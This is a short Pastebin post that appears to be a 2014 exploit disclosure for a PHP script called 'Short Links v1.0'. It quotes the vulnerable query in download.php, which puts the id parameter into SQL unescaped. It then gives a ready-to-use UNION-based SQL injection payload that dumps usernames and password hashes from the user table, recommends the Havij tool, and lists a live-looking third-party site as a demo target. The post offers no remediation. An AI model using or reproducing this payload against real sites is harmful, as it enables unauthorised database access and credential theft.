Advertisement
hamzakiller21

Short Links ® v1.0 sql injection

Mar 12th, 2014
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. #########################################################################################
  2.  
  3. # Short Links ® v1.0 sql injection #
  4.  
  5. # Author : hamza killer #
  6.  
  7. # E-mail : hlyzidi@gmail.com #
  8.  
  9. # GoogleDork: -_- !!!!!! #
  10.  
  11. # Vendor :n/n #
  12.  
  13. # Thx TO : sec4ever members & sec4all & aircrack-ng #
  14.  
  15. ########################################################################################
  16.  
  17. SQl injection
  18. ================
  19. download.php
  20.  
  21. die("Sorry, This is a bad request. Check your link...");
  22. }
  23. $pas->display("galbdz/header.tpl");
  24. =================
  25.  
  26. ==> $sql = mysql_query("select * from links WHERE id='$_GET[id]'");
  27.  
  28. exploit :
  29. ========
  30. download.php?id=[inject]
  31. download.php?id=-1'+union+select+1,group_concat(username,0x3a,password),3,4,5+from+user-- -
  32. or us havij
  33. ========
  34. demo :
  35. http://www.devsati.com/download.php?id=-1%27+union+select+1,group_concat%28username,0x3a,password%29,3,4,5+from+user--%20-
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement